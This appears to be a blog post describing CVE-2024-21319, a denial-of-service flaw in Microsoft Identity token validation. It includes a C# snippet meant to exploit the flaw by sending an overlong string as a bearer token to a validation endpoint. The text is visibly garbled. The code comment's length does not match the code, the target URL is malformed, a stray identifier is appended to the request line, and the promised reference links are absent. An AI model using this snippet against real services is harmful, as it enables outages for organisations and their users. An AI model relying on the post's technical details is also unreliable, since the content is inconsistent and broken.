CVE-2024-21319: Persistent Microsoft Identity Denial of Service Vulnerability

In the ever-evolving world of cybersecurity, it is important for organizations and individuals to keep up-to-date with the latest security vulnerabilities and patches. This post will focus on a recently discovered vulnerability in Microsoft's Identity system: CVE-2024-21319. The vulnerability is related to a denial of service (DoS) attack, allowing a remote attacker to exploit the system and cause affected applications to become unresponsive. This post will cover the details about this vulnerability, the code snippet, links to original references, and information on exploiting it.

Vulnerability Overview

CVE-2024-21319, officially titled "Persistent Microsoft Identity Denial of Service Vulnerability," is a security vulnerability that affects Microsoft Identity applications and libraries. This vulnerability allows an attacker to cause a DoS attack, potentially rendering the affected applications unresponsive or unavailable for the end-users, leading to severe operational issues for organizations relying on such applications for their critical workloads.

Affected Systems and Versions

The CVE-2024-21319 vulnerability impacts the affected versions of Microsoft Identity libraries and software, specifically:

Microsoft Identity Client (MSAL) for .NET version 4.x

It is worth noting that newer versions of these libraries have been released with patches addressing this vulnerability.

Technical Details and Code Snippet

This vulnerability is caused by a flaw in the processing of token validation in Microsoft Identity applications that use affected libraries. When an attacker sends a specially crafted token request with an excessively long string, the application cannot properly handle the request, subsequently consuming excessive system resources and potentially causing the DoS attack.

A code snippet demonstrating how this vulnerability might be exploited using a long string as a token is provided below:

`
// A demonstration of exploiting CVE-2024-21319
// using an excessively long string as a token

string maliciousToken = new String('A', 100000); // Create a long string of 1 million characters
HttpClient client = new HttpClient();

// Replace with the target application's token validation endpoint
string targetUrl = "https:///api/token/validate";

HttpRequestMessage request = new HttpRequestMessage(HttpMethod.Post, targetUrl);
request.Content = new StringContent(maliciousToken);
request.Headers.Authorization = new AuthenticationHeaderValue("Bearer", maliciousToken);

HttpResponseMessage response = await client.SendAsync(request); dataGridViewTextBoxColumn

Timeline

Published on: 01/09/2024 19:15:12 UTC
Last modified on: 01/29/2024 18:47:58 UTC